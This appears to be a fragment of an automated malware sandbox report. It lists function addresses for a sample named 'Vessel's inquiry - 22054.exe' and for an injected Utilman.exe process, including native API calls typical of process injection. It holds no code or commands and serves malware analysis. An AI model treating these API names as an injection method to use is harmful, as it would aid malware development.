Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2C00 NtQueryInformationProcess,	11_2_04BB2C00
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2DB0 NtEnumerateKey,	11_2_04BB2DB0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2D00 NtSetInformationFile,	11_2_04BB2D00
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2EA0 NtAdjustPrivilegesToken,	11_2_04BB2EA0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2E30 NtWriteVirtualMemory,	11_2_04BB2E30
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2FA0 NtQuerySection,	11_2_04BB2FA0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2F90 NtProtectVirtualMemory,	11_2_04BB2F90
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2F60 NtCreateProcessEx,	11_2_04BB2F60
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2AB0 NtWaitForSingleObject,	11_2_04BB2AB0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB2B80 NtQueryInformationFile,	11_2_04BB2B80
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB3090 NtSetValueKey,	11_2_04BB3090
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB3010 NtOpenDirectoryObject,	11_2_04BB3010
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB3D10 NtOpenProcessToken,	11_2_04BB3D10
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB3D70 NtOpenThread,	11_2_04BB3D70
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C78E90 NtCreateFile,	11_2_02C78E90
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C792F0 NtAllocateVirtualMemory,	11_2_02C792F0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C790F0 NtDeleteFile,	11_2_02C790F0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C79000 NtReadFile,	11_2_02C79000
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C79190 NtClose,	11_2_02C79190
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04E9F8D7 NtUnmapViewOfSection,NtClose,	11_2_04E9F8D7
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04E9F95A NtUnmapViewOfSection,NtClose,	11_2_04E9F95A
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04E9FB53 NtResumeThread,	11_2_04E9FB53

Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_00D1E054	0_2_00D1E054
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_059305F8	0_2_059305F8
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_05931080	0_2_05931080
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_0593107F	0_2_0593107F
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_06FF0007	0_2_06FF0007
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_07036420	0_2_07036420
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_070393A0	0_2_070393A0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_0703F722	0_2_0703F722
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_07035DD9	0_2_07035DD9
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_07035DE8	0_2_07035DE8
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_07036411	0_2_07036411
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_0703FB50	0_2_0703FB50
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_0703FB60	0_2_0703FB60
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_0703C1B8	0_2_0703C1B8
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_070388C0	0_2_070388C0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_071FE068	0_2_071FE068
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_071FC820	0_2_071FC820
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_07A44F30	0_2_07A44F30
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_07A416E8	0_2_07A416E8
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_07A46AD8	0_2_07A46AD8
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_07A42088	0_2_07A42088
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_07A42098	0_2_07A42098
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_07A40040	0_2_07A40040
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_0593CF27	0_2_0593CF27
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_0593CF28	0_2_0593CF28
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_0593E690	0_2_0593E690
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_0593E68F	0_2_0593E68F
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_0593A1C1	0_2_0593A1C1
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_0593723C	0_2_0593723C
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_0703CF5B	0_2_0703CF5B
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_0703CF67	0_2_0703CF67
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_07039320	0_2_07039320
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_07030006	0_2_07030006
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 0_2_07030040	0_2_07030040
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_00418353	2_2_00418353
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_004030A0	2_2_004030A0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0042EAE3	2_2_0042EAE3
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0040FAEF	2_2_0040FAEF
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0040FAF3	2_2_0040FAF3
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0040231E	2_2_0040231E
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_00402320	2_2_00402320
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_004024C2	2_2_004024C2
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_004024D0	2_2_004024D0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0040DCF3	2_2_0040DCF3
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_00416551	2_2_00416551
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_00416553	2_2_00416553
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0040FD13	2_2_0040FD13
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0040DE43	2_2_0040DE43
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0040DE38	2_2_0040DE38
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_00402760	2_2_00402760
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01468158	2_2_01468158
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013D0100	2_2_013D0100
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0147A118	2_2_0147A118
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_014981CC	2_2_014981CC
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_014A01AA	2_2_014A01AA
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_014941A2	2_2_014941A2
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01472000	2_2_01472000
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0149A352	2_2_0149A352
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_014A03E6	2_2_014A03E6
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013EE3F0	2_2_013EE3F0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01480274	2_2_01480274
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_014602C0	2_2_014602C0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013E0535	2_2_013E0535
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_014A0591	2_2_014A0591
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01492446	2_2_01492446
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01484420	2_2_01484420
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0148E4F6	2_2_0148E4F6
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01404750	2_2_01404750
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013E0770	2_2_013E0770
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013DC7C0	2_2_013DC7C0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013FC6E0	2_2_013FC6E0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013F6962	2_2_013F6962
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013E29A0	2_2_013E29A0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_014AA9A6	2_2_014AA9A6
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013EA840	2_2_013EA840
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013E2840	2_2_013E2840
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013C68B8	2_2_013C68B8
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0140E8F0	2_2_0140E8F0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0149AB40	2_2_0149AB40
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01496BD7	2_2_01496BD7
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013DEA80	2_2_013DEA80
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013EAD00	2_2_013EAD00
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0147CD1F	2_2_0147CD1F
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013F8DBF	2_2_013F8DBF
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013DADE0	2_2_013DADE0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013E0C00	2_2_013E0C00
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013D0CF2	2_2_013D0CF2
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01480CB5	2_2_01480CB5
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01454F40	2_2_01454F40
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01422F28	2_2_01422F28
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01400F30	2_2_01400F30
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01482F30	2_2_01482F30
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013ECFE0	2_2_013ECFE0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0145EFA0	2_2_0145EFA0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013D2FC8	2_2_013D2FC8
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013E0E59	2_2_013E0E59
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0149EE26	2_2_0149EE26
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0149EEDB	2_2_0149EEDB
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013F2E90	2_2_013F2E90
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0149CE93	2_2_0149CE93
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_014AB16B	2_2_014AB16B
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0141516C	2_2_0141516C
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013CF172	2_2_013CF172
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013EB1B0	2_2_013EB1B0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0148F0CC	2_2_0148F0CC
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_014970E9	2_2_014970E9
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0149F0E0	2_2_0149F0E0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013E70C0	2_2_013E70C0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0149132D	2_2_0149132D
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013CD34C	2_2_013CD34C
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0142739A	2_2_0142739A
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013E52A0	2_2_013E52A0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_014812ED	2_2_014812ED
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013FB2C0	2_2_013FB2C0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01497571	2_2_01497571
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0147D5B0	2_2_0147D5B0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013D1460	2_2_013D1460
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0149F43F	2_2_0149F43F
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0149F7B0	2_2_0149F7B0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_014916CC	2_2_014916CC
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01475910	2_2_01475910
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013E9950	2_2_013E9950
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013FB950	2_2_013FB950
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0144D800	2_2_0144D800
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013E38E0	2_2_013E38E0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0149FB76	2_2_0149FB76
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01455BF0	2_2_01455BF0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0141DBF9	2_2_0141DBF9
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013FFB80	2_2_013FFB80
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0149FA49	2_2_0149FA49
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01497A46	2_2_01497A46
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01453A6C	2_2_01453A6C
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0148DAC6	2_2_0148DAC6
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01425AA0	2_2_01425AA0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0147DAAC	2_2_0147DAAC
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01481AA3	2_2_01481AA3
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01491D5A	2_2_01491D5A
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01497D73	2_2_01497D73
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013E3D40	2_2_013E3D40
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013FFDC0	2_2_013FFDC0
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_01459C32	2_2_01459C32
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0149FCF2	2_2_0149FCF2
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0149FF09	2_2_0149FF09
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013E1F92	2_2_013E1F92
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_0149FFB1	2_2_0149FFB1
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Code function: 2_2_013E9EB0	2_2_013E9EB0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C2E4F6	11_2_04C2E4F6
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C32446	11_2_04C32446
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C24420	11_2_04C24420
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C40591	11_2_04C40591
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B80535	11_2_04B80535
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B9C6E0	11_2_04B9C6E0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B80770	11_2_04B80770
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BA4750	11_2_04BA4750
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C12000	11_2_04C12000
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C381CC	11_2_04C381CC
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C341A2	11_2_04C341A2
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C401AA	11_2_04C401AA
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C08158	11_2_04C08158
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B70100	11_2_04B70100
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C1A118	11_2_04C1A118
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C002C0	11_2_04C002C0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C20274	11_2_04C20274
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C403E6	11_2_04C403E6
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B8E3F0	11_2_04B8E3F0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C3A352	11_2_04C3A352
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B70CF2	11_2_04B70CF2
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C20CB5	11_2_04C20CB5
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B80C00	11_2_04B80C00
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B98DBF	11_2_04B98DBF
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B7ADE0	11_2_04B7ADE0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B8AD00	11_2_04B8AD00
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C1CD1F	11_2_04C1CD1F
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C3EEDB	11_2_04C3EEDB
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B92E90	11_2_04B92E90
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C3CE93	11_2_04C3CE93
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B80E59	11_2_04B80E59
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C3EE26	11_2_04C3EE26
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BFEFA0	11_2_04BFEFA0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B72FC8	11_2_04B72FC8
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BA0F30	11_2_04BA0F30
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BC2F28	11_2_04BC2F28
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C22F30	11_2_04C22F30
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BF4F40	11_2_04BF4F40
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B668B8	11_2_04B668B8
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BAE8F0	11_2_04BAE8F0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B82840	11_2_04B82840
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B8A840	11_2_04B8A840
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B829A0	11_2_04B829A0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C4A9A6	11_2_04C4A9A6
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B96962	11_2_04B96962
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B7EA80	11_2_04B7EA80
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C36BD7	11_2_04C36BD7
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C3AB40	11_2_04C3AB40
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B71460	11_2_04B71460
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C3F43F	11_2_04C3F43F
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C495C3	11_2_04C495C3
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C1D5B0	11_2_04C1D5B0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C37571	11_2_04C37571
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C316CC	11_2_04C316CC
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BC5630	11_2_04BC5630
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C3F7B0	11_2_04C3F7B0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C2F0CC	11_2_04C2F0CC
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C3F0E0	11_2_04C3F0E0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C370E9	11_2_04C370E9
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B870C0	11_2_04B870C0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B8B1B0	11_2_04B8B1B0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C4B16B	11_2_04C4B16B
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B6F172	11_2_04B6F172
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BB516C	11_2_04BB516C
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B852A0	11_2_04B852A0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C212ED	11_2_04C212ED
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B9B2C0	11_2_04B9B2C0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B8D20D	11_2_04B8D20D
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BC739A	11_2_04BC739A
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C3132D	11_2_04C3132D
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B6D34C	11_2_04B6D34C
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C3FCF2	11_2_04C3FCF2
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BF9C32	11_2_04BF9C32
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B9FDC0	11_2_04B9FDC0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C31D5A	11_2_04C31D5A
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C37D73	11_2_04C37D73
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B83D40	11_2_04B83D40
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B89EB0	11_2_04B89EB0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B81F92	11_2_04B81F92
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B43FD5	11_2_04B43FD5
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B43FD2	11_2_04B43FD2
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C3FFB1	11_2_04C3FFB1
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C3FF09	11_2_04C3FF09
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B838E0	11_2_04B838E0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BED800	11_2_04BED800
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C15910	11_2_04C15910
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B89950	11_2_04B89950
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B9B950	11_2_04B9B950
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C2DAC6	11_2_04C2DAC6
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BC5AA0	11_2_04BC5AA0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C21AA3	11_2_04C21AA3
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C1DAAC	11_2_04C1DAAC
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C37A46	11_2_04C37A46
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C3FA49	11_2_04C3FA49
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BF3A6C	11_2_04BF3A6C
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04B9FB80	11_2_04B9FB80
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BBDBF9	11_2_04BBDBF9
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04BF5BF0	11_2_04BF5BF0
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_04C3FB76	11_2_04C3FB76
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C61940	11_2_02C61940
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C5C7CC	11_2_02C5C7CC
Source: C:\Windows\SysWOW64\Utilman.exe	Code function: 11_2_02C5C7D0	11_2_02C5C7D0
